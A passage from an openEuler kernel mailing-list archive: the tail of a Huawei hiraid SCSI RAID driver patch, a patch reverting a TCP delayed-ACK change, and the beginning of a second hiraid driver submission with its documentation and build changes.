hiraid_host_reset(struct scsi_cmnd *scmd) +{ + struct hiraid_dev *hdev = shost_priv(scmd->device->host); + + if (hdev->state != DEV_LIVE) + return SUCCESS; + + dev_warn(hdev->dev, "sdev[%d:%d] send host reset\n", + scmd->device->channel, scmd->device->id); + if (hiraid_reset_work_sync(hdev) == -EBUSY) + flush_work(&hdev->reset_work); + + if (hdev->state != DEV_LIVE) { + dev_warn(hdev->dev, "sdev[%d:%d] host reset failed\n", + scmd->device->channel, scmd->device->id); + return FAILED; + } + + dev_warn(hdev->dev, "sdev[%d:%d] host reset success\n", + scmd->device->channel, scmd->device->id); + + return SUCCESS; +} + +static pci_ers_result_t hiraid_pci_error_detected(struct pci_dev *pdev, + pci_channel_state_t state) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + + dev_info(hdev->dev, "pci error detected, state[%d]\n", state); + + switch (state) { + case pci_channel_io_normal: + dev_warn(hdev->dev, "channel is normal, do nothing\n"); + + return PCI_ERS_RESULT_CAN_RECOVER; + case pci_channel_io_frozen: + dev_warn(hdev->dev, "channel io frozen, need reset controller\n"); + + scsi_block_requests(hdev->shost); + + hiraid_dev_state_trans(hdev, DEV_RESETTING); + + return PCI_ERS_RESULT_NEED_RESET; + case pci_channel_io_perm_failure: + dev_warn(hdev->dev, "channel io failure, disconnect\n"); + + return PCI_ERS_RESULT_DISCONNECT; + } + + return PCI_ERS_RESULT_NEED_RESET; +} + +static pci_ers_result_t hiraid_pci_slot_reset(struct pci_dev *pdev) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + + dev_info(hdev->dev, "restart after slot reset\n"); + + pci_restore_state(pdev); + + if (!queue_work(work_queue, &hdev->reset_work)) { + dev_err(hdev->dev, "err, the device is resetting state\n"); + return PCI_ERS_RESULT_NONE; + } + + flush_work(&hdev->reset_work); + + scsi_unblock_requests(hdev->shost); + + return PCI_ERS_RESULT_RECOVERED; +} + +static void hiraid_reset_pci_finish(struct pci_dev *pdev) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + + dev_info(hdev->dev, "enter hiraid reset finish\n"); +} + +static ssize_t csts_pp_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + int ret = -1; + + if (pci_device_is_present(hdev->pdev)) { + ret = (readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_PP_MASK); + ret >>= HIRAID_CSTS_PP_SHIFT; + } + + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static ssize_t csts_shst_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + int ret = -1; + + if (pci_device_is_present(hdev->pdev)) { + ret = (readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_SHST_MASK); + ret >>= HIRAID_CSTS_SHST_SHIFT; + } + + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static ssize_t csts_cfs_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + int ret = -1; + + if (pci_device_is_present(hdev->pdev)) { + ret = (readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_CFS_MASK); + ret >>= HIRAID_CSTS_CFS_SHIFT; + } + + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static ssize_t csts_rdy_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + int ret = -1; + + if (pci_device_is_present(hdev->pdev)) + ret = (readl(hdev->bar + HIRAID_REG_CSTS) & HIRAID_CSTS_RDY); + + return snprintf(buf, PAGE_SIZE, "%d\n", ret); +} + +static ssize_t fw_version_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + + return snprintf(buf, PAGE_SIZE, "%s\n", hdev->ctrl_info->fw_version); +} + +static ssize_t hdd_dispatch_store(struct device *cdev, struct device_attribute *attr, + const char *buf, size_t count) +{ + int val = 0; + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + + if (kstrtoint(buf, 0, &val) != 0) + return -EINVAL; + if (val < DISPATCH_BY_CPU || val > DISPATCH_BY_DISK) + return -EINVAL; + hdev->hdd_dispatch = val; + + return strlen(buf); +} +static ssize_t hdd_dispatch_show(struct device *cdev, struct device_attribute *attr, char *buf) +{ + struct Scsi_Host *shost = class_to_shost(cdev); + struct hiraid_dev *hdev = shost_priv(shost); + + return snprintf(buf, PAGE_SIZE, "%d\n", hdev->hdd_dispatch); +} + +static DEVICE_ATTR_RO(csts_pp); +static DEVICE_ATTR_RO(csts_shst); +static DEVICE_ATTR_RO(csts_cfs); +static DEVICE_ATTR_RO(csts_rdy); +static DEVICE_ATTR_RO(fw_version); +static DEVICE_ATTR_RW(hdd_dispatch); + +static struct device_attribute *hiraid_host_attrs[] = { + &dev_attr_csts_rdy, + &dev_attr_csts_pp, + &dev_attr_csts_cfs, + &dev_attr_fw_version, + &dev_attr_csts_shst, + &dev_attr_hdd_dispatch, + NULL, +}; + +static int hiraid_get_vd_info(struct hiraid_dev *hdev, struct hiraid_vd_info *vd_info, u16 vid) +{ + struct hiraid_admin_command admin_cmd; + u8 *data_ptr = NULL; + dma_addr_t buffer_phy = 0; + int ret; + + if (hdev->state >= DEV_RESETTING) { + dev_err(hdev->dev, "err, host state[%d] is not right\n", hdev->state); + return -EBUSY; + } + + data_ptr = dma_alloc_coherent(hdev->dev, PAGE_SIZE, &buffer_phy, GFP_KERNEL); + if (!data_ptr) + return -ENOMEM; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.usr_cmd.opcode = USR_CMD_READ; + admin_cmd.usr_cmd.info_0.subopcode = cpu_to_le16(USR_CMD_VDINFO); + admin_cmd.usr_cmd.info_1.data_len = cpu_to_le16(USR_CMD_RDLEN); + admin_cmd.usr_cmd.info_1.param_len = cpu_to_le16(VDINFO_PARAM_LEN); + admin_cmd.usr_cmd.cdw10 = cpu_to_le32(vid); + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, USRCMD_TIMEOUT); + if (!ret) + memcpy(vd_info, data_ptr, sizeof(struct hiraid_vd_info)); + + dma_free_coherent(hdev->dev, PAGE_SIZE, data_ptr, buffer_phy); + + return ret; +} + +static int hiraid_get_bgtask(struct hiraid_dev *hdev, struct hiraid_bgtask *bgtask) +{ + struct hiraid_admin_command admin_cmd; + u8 *data_ptr = NULL; + dma_addr_t buffer_phy = 0; + int ret; + + if (hdev->state >= DEV_RESETTING) { + dev_err(hdev->dev, "err, host state[%d] is not right\n", hdev->state); + return -EBUSY; + } + + data_ptr = dma_alloc_coherent(hdev->dev, PAGE_SIZE, &buffer_phy, GFP_KERNEL); + if (!data_ptr) + return -ENOMEM; + + memset(&admin_cmd, 0, sizeof(admin_cmd)); + admin_cmd.usr_cmd.opcode = USR_CMD_READ; + admin_cmd.usr_cmd.info_0.subopcode = cpu_to_le16(USR_CMD_BGTASK); + admin_cmd.usr_cmd.info_1.data_len = cpu_to_le16(USR_CMD_RDLEN); + admin_cmd.common.dptr.prp1 = cpu_to_le64(buffer_phy); + + ret = hiraid_put_admin_sync_request(hdev, &admin_cmd, NULL, NULL, USRCMD_TIMEOUT); + if (!ret) + memcpy(bgtask, data_ptr, sizeof(struct hiraid_bgtask)); + + dma_free_coherent(hdev->dev, PAGE_SIZE, data_ptr, buffer_phy); + + return ret; +} + +static ssize_t raid_level_show(struct device *dev, struct device_attribute *attr, char *buf) +{ + struct scsi_device *sdev; + struct hiraid_dev *hdev; + struct hiraid_vd_info *vd_info; + struct hiraid_sdev_hostdata *hostdata; + int ret; + + sdev = to_scsi_device(dev); + hdev = shost_priv(sdev->host); + hostdata = sdev->hostdata; + + vd_info = kmalloc(sizeof(*vd_info), GFP_KERNEL); + if (!vd_info || !HIRAID_DEV_INFO_ATTR_VD(hostdata->attr)) + return snprintf(buf, PAGE_SIZE, "NA\n"); + + ret = hiraid_get_vd_info(hdev, vd_info, sdev->id); + if (ret) + vd_info->rg_level = ARRAY_SIZE(raid_levels) - 1; + + ret = (vd_info->rg_level < ARRAY_SIZE(raid_levels)) ? + vd_info->rg_level : (ARRAY_SIZE(raid_levels) - 1); + + kfree(vd_info); + + return snprintf(buf, PAGE_SIZE, "RAID-%s\n", raid_levels[ret]); +} + +static ssize_t raid_state_show(struct device *dev, struct device_attribute *attr, char *buf) +{ + struct scsi_device *sdev; + struct hiraid_dev *hdev; + struct hiraid_vd_info *vd_info; + struct hiraid_sdev_hostdata *hostdata; + int ret; + + sdev = to_scsi_device(dev); + hdev = shost_priv(sdev->host); + hostdata = sdev->hostdata; + + vd_info = kmalloc(sizeof(*vd_info), GFP_KERNEL); + if (!vd_info || !HIRAID_DEV_INFO_ATTR_VD(hostdata->attr)) + return snprintf(buf, PAGE_SIZE, "NA\n"); + + ret = hiraid_get_vd_info(hdev, vd_info, sdev->id); + if (ret) { + vd_info->vd_status = 0; + vd_info->rg_id = 0xff; + } + + ret = (vd_info->vd_status < ARRAY_SIZE(raid_states)) ? vd_info->vd_status : 0; + + kfree(vd_info); + + return snprintf(buf, PAGE_SIZE, "%s\n", raid_states[ret]); +} + +static ssize_t raid_resync_show(struct device *dev, struct device_attribute *attr, char *buf) +{ + struct scsi_device *sdev; + struct hiraid_dev *hdev; + struct hiraid_vd_info *vd_info; + struct hiraid_bgtask *bgtask; + struct hiraid_sdev_hostdata *hostdata; + u8 rg_id, i, progress = 0; + int ret; + + sdev = to_scsi_device(dev); + hdev = shost_priv(sdev->host); + hostdata = sdev->hostdata; + + vd_info = kmalloc(sizeof(*vd_info), GFP_KERNEL); + if (!vd_info || !HIRAID_DEV_INFO_ATTR_VD(hostdata->attr)) + return snprintf(buf, PAGE_SIZE, "NA\n"); + + ret = hiraid_get_vd_info(hdev, vd_info, sdev->id); + if (ret) + goto out; + + rg_id = vd_info->rg_id; + + bgtask = (struct hiraid_bgtask *)vd_info; + ret = hiraid_get_bgtask(hdev, bgtask); + if (ret) + goto out; + for (i = 0; i < bgtask->task_num; i++) { + if ((bgtask->bgtask[i].type == BGTASK_TYPE_REBUILD) && + (le16_to_cpu(bgtask->bgtask[i].vd_id) == rg_id)) + progress = bgtask->bgtask[i].progress; + } + +out: + kfree(vd_info); + return snprintf(buf, PAGE_SIZE, "%d\n", progress); +} + +static ssize_t dispatch_hwq_show(struct device *dev, struct device_attribute *attr, char *buf) +{ + struct hiraid_sdev_hostdata *hostdata; + + hostdata = to_scsi_device(dev)->hostdata; + return snprintf(buf, PAGE_SIZE, "%d\n", hostdata->hwq); +} + +static ssize_t dispatch_hwq_store(struct device *dev, struct device_attribute *attr, + const char *buf, size_t count) +{ + int val; + struct hiraid_dev *hdev; + struct scsi_device *sdev; + struct hiraid_sdev_hostdata *hostdata; + + sdev = to_scsi_device(dev); + hdev = shost_priv(sdev->host); + hostdata = sdev->hostdata; + + if (kstrtoint(buf, 0, &val) != 0) + return -EINVAL; + if (val <= 0 || val >= hdev->online_queues) + return -EINVAL; + if (!hiraid_disk_is_hdd(hostdata->attr)) + return -EINVAL; + + hostdata->hwq = val; + return strlen(buf); +} + +static DEVICE_ATTR_RO(raid_level); +static DEVICE_ATTR_RO(raid_state); +static DEVICE_ATTR_RO(raid_resync); +static DEVICE_ATTR_RW(dispatch_hwq); + +static struct device_attribute *hiraid_dev_attrs[] = { + &dev_attr_raid_state, + &dev_attr_raid_level, + &dev_attr_raid_resync, + &dev_attr_dispatch_hwq, + NULL, +}; + +static struct pci_error_handlers hiraid_err_handler = { + .error_detected = hiraid_pci_error_detected, + .slot_reset = hiraid_pci_slot_reset, + .reset_done = hiraid_reset_pci_finish, +}; + +static int hiraid_sysfs_host_reset(struct Scsi_Host *shost, int reset_type) +{ + int ret; + struct hiraid_dev *hdev = shost_priv(shost); + + dev_info(hdev->dev, "start sysfs host reset cmd\n"); + ret = hiraid_reset_work_sync(hdev); + dev_info(hdev->dev, "stop sysfs host reset cmd[%d]\n", ret); + + return ret; +} + +static int hiraid_scan_finished(struct Scsi_Host *shost, unsigned long time) +{ + struct hiraid_dev *hdev = shost_priv(shost); + + hiraid_scan_work(&hdev->scan_work); + + return 1; +} + +static struct scsi_host_template hiraid_driver_template = { + .module = THIS_MODULE, + .name = "hiraid", + .proc_name = "hiraid", + .queuecommand = hiraid_queue_command, + .slave_alloc = hiraid_slave_alloc, + .slave_destroy = hiraid_slave_destroy, + .slave_configure = hiraid_slave_configure, + .scan_finished = hiraid_scan_finished, + .eh_timed_out = hiraid_timed_out, + .eh_abort_handler = hiraid_abort, + .eh_target_reset_handler = hiraid_target_reset, + .eh_bus_reset_handler = hiraid_bus_reset, + .eh_host_reset_handler = hiraid_host_reset, + .change_queue_depth = scsi_change_queue_depth, + .this_id = -1, + .unchecked_isa_dma = 0, + .shost_attrs = hiraid_host_attrs, + .sdev_attrs = hiraid_dev_attrs, + .host_reset = hiraid_sysfs_host_reset, +}; + +static void hiraid_shutdown(struct pci_dev *pdev) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + + hiraid_delete_io_queues(hdev); + hiraid_disable_admin_queue(hdev, true); +} + +static bool hiraid_bsg_is_valid(struct bsg_job *job) +{ + u64 timeout = 0; + struct request *rq = blk_mq_rq_from_pdu(job); + struct hiraid_bsg_request *bsg_req = job->request; + struct hiraid_dev *hdev = shost_priv(dev_to_shost(job->dev)); + + if (bsg_req == NULL || job->request_len != sizeof(struct hiraid_bsg_request)) + return false; + + switch (bsg_req->msgcode) { + case HIRAID_BSG_ADMIN: + timeout = msecs_to_jiffies(bsg_req->admcmd.timeout_ms); + break; + case HIRAID_BSG_IOPTHRU: + timeout = msecs_to_jiffies(bsg_req->pthrucmd.timeout_ms); + break; + default: + dev_info(hdev->dev, "bsg unsupport msgcode[%d]\n", bsg_req->msgcode); + return false; + } + + if ((timeout + CTL_RST_TIME) > rq->timeout) { + dev_err(hdev->dev, "bsg invalid time\n"); + return false; + } + + return true; +} + +/* bsg dispatch user command */ +static int hiraid_bsg_dispatch(struct bsg_job *job) +{ + struct Scsi_Host *shost = dev_to_shost(job->dev); + struct hiraid_dev *hdev = shost_priv(shost); + struct request *rq = blk_mq_rq_from_pdu(job); + struct hiraid_bsg_request *bsg_req = job->request; + int ret = -ENOMSG; + + job->reply_len = 0; + + if (!hiraid_bsg_is_valid(job)) { + bsg_job_done(job, ret, 0); + return 0; + } + + dev_log_dbg(hdev->dev, "bsg msgcode[%d] msglen[%d] timeout[%d];" + "reqnsge[%d], reqlen[%d]\n", + bsg_req->msgcode, job->request_len, rq->timeout, + job->request_payload.sg_cnt, job->request_payload.payload_len); + + switch (bsg_req->msgcode) { + case HIRAID_BSG_ADMIN: + ret = hiraid_user_send_admcmd(hdev, job); + break; + case HIRAID_BSG_IOPTHRU: + ret = hiraid_user_send_ptcmd(hdev, job); + break; + default: + break; + } + + if (ret > 0) + ret = ret | (ret << 8); + + bsg_job_done(job, ret, 0); + return 0; +} + +static inline void hiraid_unregist_bsg(struct hiraid_dev *hdev) +{ + if (hdev->bsg_queue) { + bsg_unregister_queue(hdev->bsg_queue); + blk_cleanup_queue(hdev->bsg_queue); + } +} +static int hiraid_probe(struct pci_dev *pdev, const struct pci_device_id *id) +{ + struct hiraid_dev *hdev; + struct Scsi_Host *shost; + int node, ret; + char bsg_name[15]; + + shost = scsi_host_alloc(&hiraid_driver_template, sizeof(*hdev)); + if (!shost) { + dev_err(&pdev->dev, "failed to allocate scsi host\n"); + return -ENOMEM; + } + hdev = shost_priv(shost); + hdev->pdev = pdev; + hdev->dev = get_device(&pdev->dev); + + node = dev_to_node(hdev->dev); + if (node == NUMA_NO_NODE) { + node = first_memory_node; + set_dev_node(hdev->dev, node); + } + hdev->numa_node = node; + hdev->shost = shost; + hdev->instance = shost->host_no; + pci_set_drvdata(pdev, hdev); + + ret = hiraid_dev_map(hdev); + if (ret) + goto put_dev; + + init_rwsem(&hdev->dev_rwsem); + INIT_WORK(&hdev->scan_work, hiraid_scan_work); + INIT_WORK(&hdev->timesyn_work, hiraid_timesyn_work); + INIT_WORK(&hdev->reset_work, hiraid_reset_work); + INIT_WORK(&hdev->fwact_work, hiraid_fwactive_work); + spin_lock_init(&hdev->state_lock); + + ret = hiraid_alloc_resources(hdev); + if (ret) + goto dev_unmap; + + ret = hiraid_pci_enable(hdev); + if (ret) + goto resources_free; + + ret = hiraid_setup_admin_queue(hdev); + if (ret) + goto pci_disable; + + ret = hiraid_init_control_info(hdev); + if (ret) + goto disable_admin_q; + + ret = hiraid_setup_io_queues(hdev); + if (ret) + goto disable_admin_q; + + hiraid_shost_init(hdev); + + ret = scsi_add_host(hdev->shost, hdev->dev); + if (ret) { + dev_err(hdev->dev, "add shost to system failed, ret[%d]\n", ret); + goto remove_io_queues; + } + + snprintf(bsg_name, sizeof(bsg_name), "hiraid%d", shost->host_no); + hdev->bsg_queue = bsg_setup_queue(&shost->shost_gendev, bsg_name, hiraid_bsg_dispatch, + NULL, hiraid_get_max_cmd_size(hdev)); + if (IS_ERR(hdev->bsg_queue)) { + dev_err(hdev->dev, "err, setup bsg failed\n"); + hdev->bsg_queue = NULL; + goto remove_io_queues; + } + + if (hdev->online_queues == HIRAID_ADMIN_QUEUE_NUM) { + dev_warn(hdev->dev, "warn: only admin queue can be used\n"); + return 0; + } + + hdev->state = DEV_LIVE; + + hiraid_init_async_event(hdev); + + ret = hiraid_dev_list_init(hdev); + if (ret) + goto unregist_bsg; + + ret = hiraid_configure_timestamp(hdev); + if (ret) + dev_warn(hdev->dev, "time synchronization failed\n"); + + ret = hiraid_alloc_io_ptcmds(hdev); + if (ret) + goto unregist_bsg; + + scsi_scan_host(hdev->shost); + + return 0; + +unregist_bsg: + hiraid_unregist_bsg(hdev); +remove_io_queues: + hiraid_delete_io_queues(hdev); +disable_admin_q: + hiraid_free_sense_buffer(hdev); + hiraid_disable_admin_queue(hdev, false); +pci_disable: + hiraid_free_all_queues(hdev); + hiraid_pci_disable(hdev); +resources_free: + hiraid_free_resources(hdev); +dev_unmap: + hiraid_dev_unmap(hdev); +put_dev: + put_device(hdev->dev); + scsi_host_put(shost); + + return -ENODEV; +} + +static void hiraid_remove(struct pci_dev *pdev) +{ + struct hiraid_dev *hdev = pci_get_drvdata(pdev); + struct Scsi_Host *shost = hdev->shost; + + dev_info(hdev->dev, "enter hiraid remove\n"); + + hiraid_dev_state_trans(hdev, DEV_DELETING); + flush_work(&hdev->reset_work); + + if (!pci_device_is_present(pdev)) + hiraid_flush_running_cmds(hdev); + + hiraid_unregist_bsg(hdev); + scsi_remove_host(shost); + hiraid_free_io_ptcmds(hdev); + kfree(hdev->dev_info); + hiraid_delete_io_queues(hdev); + hiraid_free_sense_buffer(hdev); + hiraid_disable_admin_queue(hdev, false); + hiraid_free_all_queues(hdev); + hiraid_pci_disable(hdev); + hiraid_free_resources(hdev); + hiraid_dev_unmap(hdev); + put_device(hdev->dev); + scsi_host_put(shost); + + dev_info(hdev->dev, "exit hiraid remove\n"); +} + +static const struct pci_device_id hiraid_hw_card_ids[] = { + { PCI_DEVICE(PCI_VENDOR_ID_HUAWEI_LOGIC, HIRAID_SERVER_DEVICE_HBA_DID) }, + { PCI_DEVICE(PCI_VENDOR_ID_HUAWEI_LOGIC, HIRAID_SERVER_DEVICE_RAID_DID) }, + { 0, } +}; +MODULE_DEVICE_TABLE(pci, hiraid_hw_card_ids); + +static struct pci_driver hiraid_driver = { + .name = "hiraid", + .id_table = hiraid_hw_card_ids, + .probe = hiraid_probe, + .remove = hiraid_remove, + .shutdown = hiraid_shutdown, + .err_handler = &hiraid_err_handler, +}; + +static int __init hiraid_init(void) +{ + int ret; + + work_queue = alloc_workqueue("hiraid-wq", WQ_UNBOUND | WQ_MEM_RECLAIM | WQ_SYSFS, 0); + if (!work_queue) + return -ENOMEM; + + hiraid_class = class_create(THIS_MODULE, "hiraid"); + if (IS_ERR(hiraid_class)) { + ret = PTR_ERR(hiraid_class); + goto destroy_wq; + } + + ret = pci_register_driver(&hiraid_driver); + if (ret < 0) + goto destroy_class; + + return 0; + +destroy_class: + class_destroy(hiraid_class); +destroy_wq: + destroy_workqueue(work_queue); + + return ret; +} + +static void __exit hiraid_exit(void) +{ + pci_unregister_driver(&hiraid_driver); + class_destroy(hiraid_class); + destroy_workqueue(work_queue); +} + +MODULE_AUTHOR("Huawei Technologies CO., Ltd"); +MODULE_DESCRIPTION("Huawei RAID driver"); +MODULE_LICENSE("GPL"); +MODULE_VERSION(HIRAID_DRV_VERSION); +module_init(hiraid_init); +module_exit(hiraid_exit); -- 2.22.0.windows.1

2 1

[PATCH openEuler-1.0-LTS] Revert "tcp: fix delayed ACKs for MSS boundary condition"
by Dong Chenchen 16 Nov '23

16 Nov '23

From: dongchenchen <dongchenchen2(a)huawei.com> hulk inclusion category: bugfix bugzilla: https://gitee.com/openeuler/kernel/issues/I8GYWB CVE: NA -------------------------------- This reverts commit 389055ab28760dd7b25c6996c6647b0a37e0a34e. Signed-off-by: dongchenchen <dongchenchen2(a)huawei.com> --- net/ipv4/tcp_input.c | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/net/ipv4/tcp_input.c b/net/ipv4/tcp_input.c index f8b1ace50f7a..a12598dabb80 100644 --- a/net/ipv4/tcp_input.c +++ b/net/ipv4/tcp_input.c @@ -172,19 +172,6 @@ static void tcp_measure_rcv_mss(struct sock *sk, const struct sk_buff *skb) if (unlikely(len > icsk->icsk_ack.rcv_mss + MAX_TCP_OPTION_SPACE)) tcp_gro_dev_warn(sk, skb, len); - /* If the skb has a len of exactly 1*MSS and has the PSH bit - * set then it is likely the end of an application write. So - * more data may not be arriving soon, and yet the data sender - * may be waiting for an ACK if cwnd-bound or using TX zero - * copy. So we set ICSK_ACK_PUSHED here so that - * tcp_cleanup_rbuf() will send an ACK immediately if the app - * reads all of the data and is not ping-pong. If len > MSS - * then this logic does not matter (and does not hurt) because - * tcp_cleanup_rbuf() will always ACK immediately if the app - * reads data and there is more than an MSS of unACKed data. - */ - if (TCP_SKB_CB(skb)->tcp_flags & TCPHDR_PSH) - icsk->icsk_ack.pending |= ICSK_ACK_PUSHED; } else { /* Otherwise, we make more careful check taking into account, * that SACKs block is variable. -- 2.25.1

2 1

[PATCH OLK-5.10] SCSI: hisi_raid: support SPxxx series RAID/HBA controllers
by z00848923 16 Nov '23

16 Nov '23

driver inclusion category: feature bugzilla: https://gitee.com/openeuler/kernel/issues/I89D3P CVE: NA ------------------------------------------ This commit is to support SPxxx RAID/HBA controllers. RAID controllers support RAID 0/1/5/6/10/50/60 modes. HBA controlllers support RAID 0/1/10 modes. RAID/HBA support SAS/SATA HDD/SSD. Signed-off-by: z00848923 <zhanglei48(a)huawei.com> --- Documentation/scsi/hisi_raid.rst | 84 + MAINTAINERS | 7 + arch/arm64/configs/openeuler_defconfig | 1 + arch/x86/configs/openeuler_defconfig | 1 + drivers/scsi/Kconfig | 1 + drivers/scsi/Makefile | 1 + drivers/scsi/hisi_raid/Kconfig | 14 + drivers/scsi/hisi_raid/Makefile | 7 + drivers/scsi/hisi_raid/hiraid.h | 760 +++++ drivers/scsi/hisi_raid/hiraid_main.c | 3982 ++++++++++++++++++++++++ 10 files changed, 4858 insertions(+) create mode 100644 Documentation/scsi/hisi_raid.rst create mode 100644 drivers/scsi/hisi_raid/Kconfig create mode 100644 drivers/scsi/hisi_raid/Makefile create mode 100644 drivers/scsi/hisi_raid/hiraid.h create mode 100644 drivers/scsi/hisi_raid/hiraid_main.c diff --git a/Documentation/scsi/hisi_raid.rst b/Documentation/scsi/hisi_raid.rst new file mode 100644 index 000000000000..523a6763a7fd --- /dev/null +++ b/Documentation/scsi/hisi_raid.rst @@ -0,0 +1,84 @@ +.. SPDX-License-Identifier: GPL-2.0 + +============================================== +hisi_raid - HUAWEI SCSI RAID Controller driver +============================================== + +This file describes the hisi_raid SCSI driver for HUAWEI +RAID controllers. The hisi_raid driver is the first +generation RAID driver. + +For hisi_raid controller support, enable the hisi_raid driver +when configuring the kernel. + +hisi_raid specific entries in /sys +================================= + +hisi_raid host attributes +------------------------ + - /sys/class/scsi_host/host*/csts_pp + - /sys/class/scsi_host/host*/csts_shst + - /sys/class/scsi_host/host*/csts_cfs + - /sys/class/scsi_host/host*/csts_rdy + - /sys/class/scsi_host/host*/fw_version + + The host csts_pp attribute is a read only attribute. This attribute + indicates whether the controller is processing commands. If this attribute + is set to ‘1’, then the controller is processing commands normally. If + this attribute is cleared to ‘0’, then the controller has temporarily stopped + processing commands in order to handle an event (e.g., firmware activation). + + The host csts_shst attribute is a read only attribute. This attribute + indicates status of shutdown processing.The shutdown status values are defined + as: + ====== ============================== + Value Definition + ====== ============================== + 00b Normal operation + 01b Shutdown processing occurring + 10b Shutdown processing complete + 11b Reserved + ====== ============================== + The host csts_cfs attribute is a read only attribute. This attribute is set to + ’1’ when a fatal controller error occurred that could not be communicated in the + appropriate Completion Queue. This bit is cleared to ‘0’ when a fatal controller + error has not occurred. + + The host csts_rdy attribute is a read only attribute. This attribute is set to + ‘1’ when the controller is ready to process submission queue entries. + + The fw_version attribute is read-only and will return the driver version and the + controller firmware version. + +hisi_raid scsi device attributes +------------------------------ + - /sys/class/scsi_device/X\:X\:X\:X/device/raid_level + - /sys/class/scsi_device/X\:X\:X\:X/device/raid_state + - /sys/class/scsi_device/X\:X\:X\:X/device/raid_resync + + The device raid_level attribute is a read only attribute. This attribute indicates + RAID level of scsi device(will dispaly "NA" if scsi device is not virtual disk type). + + The device raid_state attribute is read-only and indicates RAID status of scsi + device(will dispaly "NA" if scsi device is not virtual disk type). + + The device raid_resync attribute is read-only and indicates RAID rebuild processing + of scsi device(will dispaly "NA" if scsi device is not virtual disk type). + +Supported devices +================= + + =================== ======= ======================================= + PCI ID (pci.ids) OEM Product + =================== ======= ======================================= + 19E5:3858 HUAWEI SP186-M-8i(HBA:8Ports) + 19E5:3858 HUAWEI SP186-M-16i(HBA:16Ports) + 19E5:3858 HUAWEI SP186-M-32i(HBA:32Ports) + 19E5:3858 HUAWEI SP186-M-40i(HBA:40Ports) + 19E5:3758 HUAWEI SP686C-M-16i(RAID:16Ports,2G cache) + 19E5:3758 HUAWEI SP686C-M-16i(RAID:16Ports,4G cache) + 19E5:3758 HUAWEI SP686C-MH-32i(RAID:32Ports,4G cache) + 19E5:3758 HUAWEI SP686C-M-40i(RAID:40Ports,2G cache) + 19E5:3758 HUAWEI SP686C-M-40i(RAID:40Ports,4G cache) + =================== ======= ======================================= + diff --git a/MAINTAINERS b/MAINTAINERS index a7815fd1072f..8324f56a2096 100644 --- a/MAINTAINERS +++ b/MAINTAINERS @@ -8070,6 +8070,13 @@ M: Yonglong Liu <liuyonglong(a)huawei.com> S: Supported F: drivers/ptp/ptp_hisi.c +HISI_RAID SCSI RAID DRIVERS +M: Zhang Lei <zhanglei48(a)huawei.com> +L: linux-scsi(a)vger.kernel.org +S: Maintained +F: Documentation/scsi/hisi_raid.rst +F: drivers/scsi/hisi_raid/ + HMM - Heterogeneous Memory Management M: Jérôme Glisse <jglisse(a)redhat.com> L: linux-mm(a)kvack.org diff --git a/arch/arm64/configs/openeuler_defconfig b/arch/arm64/configs/openeuler_defconfig index ec758f0530c1..b9a50ef6d768 100644 --- a/arch/arm64/configs/openeuler_defconfig +++ b/arch/arm64/configs/openeuler_defconfig @@ -2413,6 +2413,7 @@ CONFIG_SCSI_MPT2SAS_MAX_SGE=128 CONFIG_SCSI_MPT3SAS_MAX_SGE=128 CONFIG_SCSI_MPT2SAS=m CONFIG_SCSI_SMARTPQI=m +CONFIG_SCSI_HISI_RAID=m # CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_MYRB is not set diff --git a/arch/x86/configs/openeuler_defconfig b/arch/x86/configs/openeuler_defconfig index 5171aa50736b..43b5294326e6 100644 --- a/arch/x86/configs/openeuler_defconfig +++ b/arch/x86/configs/openeuler_defconfig @@ -2369,6 +2369,7 @@ CONFIG_SCSI_MPT2SAS_MAX_SGE=128 CONFIG_SCSI_MPT3SAS_MAX_SGE=128 CONFIG_SCSI_MPT2SAS=m CONFIG_SCSI_SMARTPQI=m +CONFIG_SCSI_HISI_RAID=m # CONFIG_SCSI_UFSHCD is not set # CONFIG_SCSI_HPTIOP is not set # CONFIG_SCSI_BUSLOGIC is not set diff --git a/drivers/scsi/Kconfig b/drivers/scsi/Kconfig index a9da1b2dec4a..41ef664cf0ed 100644 --- a/drivers/scsi/Kconfig +++ b/drivers/scsi/Kconfig @@ -473,6 +473,7 @@ source "drivers/scsi/megaraid/Kconfig.megaraid" source "drivers/scsi/sssraid/Kconfig" source "drivers/scsi/mpt3sas/Kconfig" source "drivers/scsi/smartpqi/Kconfig" +source "drivers/scsi/hisi_raid/Kconfig" source "drivers/scsi/ufs/Kconfig" config SCSI_HPTIOP diff --git a/drivers/scsi/Makefile b/drivers/scsi/Makefile index c2a1efa16912..8f26dbb5ee37 100644 --- a/drivers/scsi/Makefile +++ b/drivers/scsi/Makefile @@ -101,6 +101,7 @@ obj-$(CONFIG_MEGARAID_LEGACY) += megaraid.o obj-$(CONFIG_MEGARAID_NEWGEN) += megaraid/ obj-$(CONFIG_MEGARAID_SAS) += megaraid/ obj-$(CONFIG_SCSI_MPT3SAS) += 